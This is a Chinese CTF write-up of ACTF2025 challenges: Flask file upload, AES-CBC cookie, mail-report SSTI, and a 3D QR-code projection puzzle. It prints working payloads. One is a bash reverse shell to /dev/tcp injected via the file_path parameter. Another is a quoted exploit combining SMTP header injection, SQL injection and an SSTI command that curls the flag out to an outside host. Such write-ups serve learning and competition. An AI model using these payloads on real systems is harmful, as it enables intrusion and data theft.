ACTF2025

ACTF2025

简单记录其中部分题目

ACTF upload

这次都被 l1nk 师傅带飞哩

登录随便输入 username 和 password 即可进入上传页面,当 username 为 admin 时返回 500

发现存在任意文件读,可以目录穿越 /upload?file_path=../app.py

返回的内容 base64 解密可得如下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import uuid
import os
import hashlib
import base64
from flask import Flask, request, redirect, url_for, flash, session

app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')


@app.route('/')
def index():
if session.get('username'):
return redirect(url_for('upload'))
else:
return redirect(url_for('login'))


@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == 'admin':
if hashlib.sha256(
password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0':
session['username'] = username
return redirect(url_for('index'))
else:
flash('Invalid password')
else:
session['username'] = username
return redirect(url_for('index'))
else:
return '''
<h1>Login</h1>
<h2>No need to register.</h2>
<form action="/login" method="post">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<br>
<label for="password">Password:</label>
<input type="password" id="password" name="password" required>
<br>
<input type="submit" value="Login">
</form>
'''


@app.route('/upload', methods=['POST', 'GET'])
def upload():
if not session.get('username'):
return redirect(url_for('login'))

if request.method == 'POST':
f = request.files['file']
file_path = str(uuid.uuid4()) + '_' + f.filename
f.save('./uploads/' + file_path)
return redirect(f'/upload?file_path={file_path}')

else:
if not request.args.get('file_path'):
return '''
<h1>Upload Image</h1>

<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
'''

else:
file_path = './uploads/' + request.args.get('file_path')
if session.get('username') != 'admin':
with open(file_path, 'rb') as f:
content = f.read()
b64 = base64.b64encode(content)
return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'
else:
os.system(f'base64 {file_path} > /tmp/{file_path}.b64')
# with open(f'/tmp/{file_path}.b64', 'r') as f:
# return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'
return 'Sorry, but you are not allowed to view this image.'


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

再去读环境变量 SECRET_KEY,/upload?file_path=../../../proc/self/environ

得到 SECRET_KEY=S3cRetK3y,用这个去伪造 session 即可

flask-unsign --sign --secret S3cRetK3y --cookie '{"username": "admin"}'

session=eyJ1c2VybmFtZSI6ImFkbWluIn0.aAw2XA.m_Yd0e8dH5qUhifde_NwJL5l6vE

而后根据这段代码进行命令注入

1
2
3
4
5
6
7
8
9
10
11
12
else:
file_path = './uploads/' + request.args.get('file_path')
if session.get('username') != 'admin':
with open(file_path, 'rb') as f:
content = f.read()
b64 = base64.b64encode(content)
return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'
else:
os.system(f'base64 {file_path} > /tmp/{file_path}.b64')
# with open(f'/tmp/{file_path}.b64', 'r') as f:
# return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'
return 'Sorry, but you are not allowed to view this image.'

payload 不论是直接读 flag 文件还是反弹 shell 如下即可

a;bash -c "bash -i >& /dev/tcp/<ip>/<port> 0>&1";

事后总体感觉是比较老的套路,跟之前 Hgame 的一题有点像,但是当时我的话还是不够熟练,跟不上大佬的速度就抢不到血分了。

not so web 1

base64 拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import (
Flask,
render_template,
render_template_string,
request,
redirect,
url_for,
flash,
session,
)

app = Flask(__name__)
app.secret_key = KEY


@dataclass(kw_only=True)
class APPUser:
name: str
password_raw: str
register_time: int


# In-memory store for user registration
users: Dict[str, APPUser] = {
"admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}


def validate_cookie(cookie: str) -> bool:
if not cookie:
return False

try:
cookie_encrypted = base64.b64decode(cookie, validate=True)
except binascii.Error:
return False

if len(cookie_encrypted) < 32:
return False

try:
iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
cookie_json = cipher.decrypt(padded)
except ValueError:
return False

try:
_ = json.loads(cookie_json)
except Exception:
return False

return True


def parse_cookie(cookie: str) -> Tuple[bool, str]:
if not cookie:
return False, ""

try:
cookie_encrypted = base64.b64decode(cookie, validate=True)
except binascii.Error:
return False, ""

if len(cookie_encrypted) < 32:
return False, ""

try:
iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(padded)
cookie_json_bytes = unpad(decrypted, 16)
cookie_json = cookie_json_bytes.decode()
except ValueError:
return False, ""

try:
cookie_dict = json.loads(cookie_json)
except Exception:
return False, ""

return True, cookie_dict.get("name")


def generate_cookie(user: APPUser) -> str:
cookie_dict = asdict(user)
cookie_json = json.dumps(cookie_dict)
cookie_json_bytes = cookie_json.encode()
iv = os.urandom(16)
padded = pad(cookie_json_bytes, 16)
cipher = AES.new(KEY, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(padded)
return base64.b64encode(iv + encrypted).decode()


@app.route("/")
def index():
if validate_cookie(request.cookies.get("jwbcookie")):
return redirect(url_for("home"))
return redirect(url_for("login"))


@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
user_name = request.form["username"]
password = request.form["password"]
if user_name in users:
flash("Username already exists!", "danger")
else:
users[user_name] = APPUser(
name=user_name, password_raw=password, register_time=int(time.time())
)
flash("Registration successful! Please login.", "success")
return redirect(url_for("login"))
return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
if username in users and users[username].password_raw == password:
resp = redirect(url_for("home"))
resp.set_cookie("jwbcookie", generate_cookie(users[username]))
return resp
else:
flash("Invalid credentials. Please try again.", "danger")
return render_template("login.html")


@app.route("/home")
def home():
valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
if not valid or not current_username:
return redirect(url_for("logout"))

user_profile = users.get(current_username)
if not user_profile:
return redirect(url_for("logout"))

if current_username == "admin":
payload = request.args.get("payload")
html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h2 class="text-center">Welcome, %s !</h2>
<div class="text-center">
Your payload: %s
</div>
<img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
<div class="text-center">
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</body>
</html>
""" % (
current_username,
payload,
)
else:
html_template = (
"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h2 class="text-center">server code (encoded)</h2>
<div class="text-center" style="word-break:break-all;">
{%% raw %%}
%s
{%% endraw %%}
</div>
<div class="text-center">
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</body>
</html>
"""
% base64.b64encode(open(__file__, "rb").read()).decode()
)
return render_template_string(html_template)


@app.route("/logout")
def logout():
resp = redirect(url_for("login"))
resp.delete_cookie("jwbcookie")
return resp


if __name__ == "__main__":
app.run()

思路:CBC 反转攻击,拿 cookie,SSTI

Excellent-Site

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
import smtplib 
import imaplib
import email
import sqlite3
from urllib.parse import urlparse
import requests
from email.header import decode_header
from flask import *

app = Flask(__name__)

def get_subjects(username, password):
imap_server = "ezmail.org"
imap_port = 143
try:
mail = imaplib.IMAP4(imap_server, imap_port)
mail.login(username, password)
mail.select("inbox")
status, messages = mail.search(None, 'FROM "admin@ezmail.org"')
if status != "OK":
return ""
subject = ""
latest_email = messages[0].split()[-1]
status, msg_data = mail.fetch(latest_email, "(RFC822)")
for response_part in msg_data:
if isinstance(response_part, tuple):
msg = email.message_from_bytes(response_part [1])
subject, encoding = decode_header(msg["Subject"]) [0]
if isinstance(subject, bytes):
subject = subject.decode(encoding if encoding else 'utf-8')
mail.logout()
return subject
except:
return "ERROR"

def fetch_page_content(url):
try:
parsed_url = urlparse(url)
if parsed_url.scheme != 'http' or parsed_url.hostname != 'ezmail.org':
return "SSRF Attack!"
response = requests.get(url)
if response.status_code == 200:
return response.text
else:
return "ERROR"
except:
return "ERROR"

@app.route("/report", methods=["GET", "POST"])
def report():
message = ""
if request.method == "POST":
url = request.form["url"]
content = request.form["content"]
smtplib._quote_periods = lambda x: x
mail_content = """From: ignored@ezmail.org\r\nTo: admin@ezmail.org\r\nSubject: {url}\r\n\r\n{content}\r\n.\r\n"""
try:
server = smtplib.SMTP("ezmail.org")
mail_content = smtplib._fix_eols(mail_content)
mail_content = mail_content.format(url=url, content=content)
server.sendmail("ignored@ezmail.org", "admin@ezmail.org", mail_content)
message = "Submitted! Now wait till the end of the world."
except:
message = "Send FAILED"
return render_template("report.html", message=message)

@app.route("/bot", methods=["GET"])
def bot():
requests.get("http://ezmail.org:3000/admin")
return "The admin is checking your advice(maybe)"

@app.route("/admin", methods=["GET"])
def admin():
ip = request.remote_addr
if ip != "127.0.0.1":
return "Forbidden IP"
subject = get_subjects("admin", "p@ssword")
if subject.startswith("http://ezmail.org"):
page_content = fetch_page_content(subject)
return render_template_string(f"""
<h2>Newest Advice(from myself)</h2>
<div>{page_content}</div>
""")
return ""

@app.route("/news", methods=["GET"])
def news():
news_id = request.args.get("id")

if not news_id:
news_id = 1

conn = sqlite3.connect("news.db")
cursor = conn.cursor()

cursor.execute(f"SELECT title FROM news WHERE id = {news_id}")
result = cursor.fetchone()
conn.close()

if not result:
return "Page not found.", 404
return result[0]

@app.route("/")
def index():
return render_template("index.html")

if __name__ == "__main__":
app.run(host="0.0.0.0", port=3000)

审计代码:

  • /report 路由可以指定 url(邮件中的 Subject)和 content 作为 ignored@ezmail.orgadmin``@ezmail.org 发送邮件;
  • /bot 路由可以从本地发起一次对 /admin 路由的 get 请求;
  • /admin 路由仅允许本地访问,通过 get_subjects 获取来自 admin@ezmail.org 的邮件的 subject,经过 fetch_page_content 检查并访问 url 后将返回内容用于 render_template_string 的页面渲染,存在 SSTI 风险;
  • /news 路由存在参数 id 直接动态拼接进行 SQL 查询,明显存在 SQL 注入;

想要 SSTI 就需要 bot 发起请求,且 Subject 里的 url 请求返回中有 SSTI payload,要想让靶机去获取 Subject 需要邮件从 admin@ezmail.org 发出,已知 /report 可以发送 Subject 可控的邮件,那么还需要一些特殊处理才能伪造邮件来源是 admin@ezmail.org,并确保 Subject 里的 url 访问后会返回一个 SSTI payload,所以总体思路就是:

  1. /report 传参,content 随意,url 处则利用 /news 的 SQL 注入漏洞写一条 /news?id=-1 union select <SSTI payload> 用于返回 SSTI payload,在末尾利用换行符 \r\n 注入 smtp 的 From 头来伪造邮件来源。
  2. 再访问 /bot,bot 访问 /adminget_subjects 获取 Subject 内容,fetch_page_content 访问 Subject 中的 url 触发 ssrf 进行一次 SQL 注入并获得 SSTI payload,然后 SSTI payload 成功注入触发 SSTI。

这里放一个星盟安全团队的 exp,蛮清晰的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import time
import requests

url = "http://223.112.5.141:60524/"
# SSTI Payload
payload = "{{lipsum.__globals__.os.popen(\"curl%20http://x.x.x.x:7788/`cat /flag|base64`\").read()}}"
# 邮件头注入
subject = f"http://ezmail.org:3000/news?id=-1 UNION SELECT '{payload}'\r\nFrom: admin@ezmail.org\r\nResent-From: admin@ezmail.org"

start = time.time()

data = {"url": subject, "content": "haha"}
res_1 = requests.post(f"{url}/report", data=data)
res_2 = requests.get(f"{url}/bot")print(time.time() - start)

QQQRcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pyzbar.pyzbar import decode
from PIL import Image

import string
import random
from hashlib import sha256


def read_input():
input_data = input("give me your data:")
if (
any(not c in "01" for c in input_data)
or len(input_data) != 21 * 21 * 21
or input_data.count("1") >= 390
):
raise ValueError("Invalid input")
return input_data
# 5i1encee:输入数据必须全为0或1、长度等于21^3、1的数量小于390

def parse_data(input_str):
data = [[[False] * 21 for _ in range(21)] for __ in range(21)]
index = 0
for z in range(21):
for y in range(21):
for x in range(21):
if index < len(input_str):
data[x][y][z] = input_str[index] == "1"
index += 1
return data
# 5i1encee:解析数据。先初始化21*21*21的三维数组为False,输入数据为1则对应数组元素置1

def create_image(matrix, module_size=10):
size = len(matrix) * module_size
img = Image.new("1", (size, size), 1)
pixels = img.load()

for x in range(len(matrix)):
for y in range(len(matrix[0])):
if matrix[x][y]:
for dx in range(module_size):
for dy in range(module_size):
px = x * module_size + dx
py = y * module_size + dy
if px < size and py < size:
pixels[px, py] = 0
return img
# 5i1encee:创建图像。先初始化一个全白图像,输入二维布尔矩阵,一个布尔值对应一个10*10像素块,matrix[x][y]为True则绘制黑色像素块

def decode_qr(image):
decoded = decode(image)
return decoded[0].data.decode("utf-8") if decoded else ""
# 5i1encee:解析二维码,提取数据并转换为UTF-8字符串

def proof_of_work():
proof = "".join(
[random.choice(string.ascii_letters + string.digits) for _ in range(20)]
)
digest = sha256(proof.encode()).hexdigest()
print("sha256(XXXX+%s) == %s" % (proof[4:], digest))
x = input("Give me XXXX:")
if len(x) != 4 or sha256((x + proof[4:]).encode()).hexdigest() != digest:
print("Sorry~ bye~")
return False
print("Right!")
return True
# 5i1encee:要计算一个 4 字符前缀,使其与已知后缀的SHA256哈希匹配。跟master of movie那个差不多一样

def main():
if not proof_of_work():
exit(0)
try:
input_str = read_input()
data = parse_data(input_str)
front = [
[any(data[x][y][z] for z in range(21)) for y in range(21)]
for x in range(21)
]
left = [
[any(data[x][y][z] for x in range(21)) for z in range(21)]
for y in range(21)
]
top = [
[any(data[x][y][z] for y in range(21)) for z in range(21)]
for x in range(21)
]
projections = [front, left, top]
validation = ["Azure", "Assassin", "Alliance"]
for projection, word in zip(projections, validation):
content = decode_qr(create_image(projection))
if content != word:
raise ValueError("Invalid content")
except Exception as e:
print(f"Error: {e}")
exit(0)

with open("flag", "r") as f:
print(f.read())
# 5i1encee:三面的投影生成的二维码解码出来的要对应那三个字符串的说

if __name__ == "__main__":
main()

根据源码,我们要先通过 proof_of_work()(防爆破的?sha256 爆一下就能过),然后提交长度为 21*21*21 且 1 的数量小于 390 的 01 字符串,读为 21*21*21 的三维矩阵,而后对 front、left、top 三面进行投影(有 1 则 1,无 1 则 0),投影后产生的三个二维矩阵分别生成三个图像并按二维码解码,得到的三个字符串内容要分别等于”Azure”, “Assassin”, “Alliance”,最后得到 flag。

那么要提交符合要求的 01 字符串就先上述流程反推一下写个脚本:先根据”Azure”, “Assassin”, “Alliance”生成三个二维码的 21*21 二维矩阵,然后将三个二维矩阵对应三面合并入一个三维矩阵中,如何合并则要考虑如何尽可能的复用 1 减少出现次数。

第一次的想法最简单,让最外层那三面原模原样放上去,其他面和内部全置 0,本地测试发现 1 的数量超标了。

所以后面再加了一段代码处理,就是把上一步完成后,当内部某点的三个投影面同时用到 1 时就将内部该点置 1,最外层对应三点置 0,这样每有一个同时需要三面投影的点就可以减少两个 1 的使用,本地运行成功通过限制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import qrcode

def generate_qr_matrix(text):
qr = qrcode.QRCode(
version=1, # 21*21
error_correction=qrcode.constants.ERROR_CORRECT_L,
box_size=1,
border=0,
)
qr.add_data(text)
qr.make(fit=True)
img = qr.get_matrix()
return [[cell for cell in row] for row in img]


def construct_3d_matrix(azure, assassin, alliance):
data = [[[False for ___ in range(21)] for __ in range(21)] for _ in range(21)]
# Front投影:x-y Azure
for x in range(21):
for y in range(21):
if azure[x][y]:
data[x][y][0] = True
# Left:y-z Assassin
for y in range(21):
for z in range(21):
if assassin[y][z]:
data[0][y][z] = True
print("1", end='')
else:
print("0", end='')
print()
# Top:x-z Alliance
for x in range(21):
for z in range(21):
if alliance[x][z]:
data[x][0][z] = True
# 这里得从121,原本写得021,导致最外层的面重复操作了
for x in range(1,21):
for y in range(1,21):
for z in range(1,21):
if data[x][y][0] and data[0][y][z] and data[x][0][z]:
data[x][y][z] = True
data[x][y][0] = False
data[0][y][z] = False
data[x][0][z] = False

return data

def data_to_input(data):
input_str = []
for z in range(21):
for y in range(21):
for x in range(21):
input_str.append('1' if data[x][y][z] else '0')
return ''.join(input_str)


azure = generate_qr_matrix("Azure")
assassin = generate_qr_matrix("Assassin")
alliance = generate_qr_matrix("Alliance")

data1 = construct_3d_matrix(azure, assassin, alliance)

data = data_to_input(data1)
print(any(not c in "01" for c in data))
print(len(data) != 21 * 21 * 21)
print(data.count("1") >= 390)
print(data.count("1"))
print(data)

得到 data 如下

1
111111101011101111111100000000000000000000100000000000000001001100000000000000000101100000000000000001001100000000000101000001100000000000000010001000000000100000000000110000000000000110011100000010000100001000100000000000001010000100001010000000001100100000010000011001001000000000000001000001110000000000000000111100000000000000000101100110100010000000000100100000010100000000100000000010010000000100000001010001000000100110000000100010000100000000000001000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000100000000000000000000000000000000000000000010000000000000000000000000000000000000000000100000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000100000000000001000000000000000000000000000001000000000000000000000100000000000000000000010000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000100000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000001000000000000000000000000000100000000000000000001000000000000000000000000000000000000000000001100000000001001000001000000000000000000000000100000000000000000001000000000000000000000000100000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000100100000000000000000000100000000000000000000000000000000000000000000000000000000001000100000000100001001001000000000000000000000000010000000000000000000000100000000000000001000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000010000000000001000000000000000000000000000000100000000000000000000000100000000000000000000100000000101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000100000000000000000000000000000000001100000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000100000000000000000101000000100000000000000000000000000001000000000010000000000000000000100000000000000000000000001000000000000010000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000100000000000000000000000000000001000000000000000000000000010000000000000000000000000000010000000000000000010000100000000000000000000000000000000000001000100000000000000000000000000001110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001111000000000000000000000000000000000000000000000000000100000000000000000001000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000100000000000000000000000000000000000000000000000001000000000000000100000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000010000000100000000000000000010000000001000000000000000000000100000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000001000000000000000100000000000000000000000000000000000000000000000000000000100000100000000000000000000000000000000000000000001000000000000000000100000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000100000000000000000101000000000000000000000000000000000000000000000000000000000010000000000000100000000000000000100000000000000000000000000000001000100000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000100010010000010000000000000000000000000001000000000000000000000000000000010000000000000000000000000000100000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000100000011000000011000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000100000000000000000000000000100000100000000000000000000000000000000010000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000010000000000000000000000100000000000000100000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000100001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000100000000000000000000000010000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000100001000000010100000000000000000001000000000000100000000000000100000000000000000000100000000000000000000100000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000010000000000000000000100000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000100000000000000001001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000100000000000000000000000000000000000000000000000000000000000000000100000000000100000000000000000000000000000000010000000000000000000000000000000000000000000100000100000000000000000000100010000100000101000000000000000000000000000000000001000000000100000000000000000000000000000000000010000000000000000000000000100000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000100000000000000000000000000010000000000000000000000000000100110001000000100000000000000000000000000000000000000000000100100000000000000000000100000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000001000000000000000000000000000000100000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000010000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000001000000000000000000100010000000000100010000000000000000000000100000000000000000000000000000000001000000000000000010000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000100000000000000000000000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000000000000000000000100000000000000001000000000000000000000000000001000000000000000000000000000000100000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000001100000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000100000000000000110001100100000000000100000000000000000000000000000000000010000100000000000000000000100000000000000000000100000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000100000000000000000000001000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000

01 字符串有了,proof_of_work() 用下面脚本爆就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import hashlib
import itertools
import string

suffix = "ASIBeo2zoqXwSevw"
target_prefix = "f7f0f44df6bdf6d99248e7881dec26031b0a27a7b7e2c12522f0e8607fb1f48b"

# 尝试所有长度为4的ASCII可打印字符组合
charset = string.ascii_letters + string.digits

for prefix in itertools.product(charset, repeat=4):
candidate = ''.join(prefix) + suffix
hash_val = hashlib.sha256(candidate.encode()).hexdigest()
if hash_val.startswith(target_prefix):
print(f"[+] Found match: {''.join(prefix)}")
print(f"SHA256('{''.join(prefix)}{suffix}') = {hash_val}")
break

最后前面的都对了,本地完全通过了,但因为 netcat 的输入长度限制,直接 nc 服务端没法把完整 data 传输过去,所以又折腾了一下。z221x 师傅给了个脚本,最后终于是成了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
import hashlib
import itertools
import string
import re

flag="111111101011101111111100000000000000000000100000000000000001001100000000000000000101100000000000000001001100000000000101000001100000000000000010001000000000100000000000110000000000000110011100000010000100001000100000000000001010000100001010000000001100100000010000011001001000000000000001000001110000000000000000111100000000000000000101100110100010000000000100100000010100000000100000000010010000000100000001010001000000100110000000100010000100000000000001000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000100000000000000000000000000000000000000000010000000000000000000000000000000000000000000100000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000100000000000001000000000000000000000000000001000000000000000000000100000000000000000000010000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000100000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000001000000000000000000000000000100000000000000000001000000000000000000000000000000000000000000001100000000001001000001000000000000000000000000100000000000000000001000000000000000000000000100000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000100100000000000000000000100000000000000000000000000000000000000000000000000000000001000100000000100001001001000000000000000000000000010000000000000000000000100000000000000001000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000010000000000001000000000000000000000000000000100000000000000000000000100000000000000000000100000000101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000100000000000000000000000000000000001100000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000100000000000000000101000000100000000000000000000000000001000000000010000000000000000000100000000000000000000000001000000000000010000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000100000000000000000000000000000001000000000000000000000000010000000000000000000000000000010000000000000000010000100000000000000000000000000000000000001000100000000000000000000000000001110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001111000000000000000000000000000000000000000000000000000100000000000000000001000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000100000000000000000000000000000000000000000000000001000000000000000100000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000010000000100000000000000000010000000001000000000000000000000100000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000001000000000000000100000000000000000000000000000000000000000000000000000000100000100000000000000000000000000000000000000000001000000000000000000100000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000100000000000000000101000000000000000000000000000000000000000000000000000000000010000000000000100000000000000000100000000000000000000000000000001000100000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000100010010000010000000000000000000000000001000000000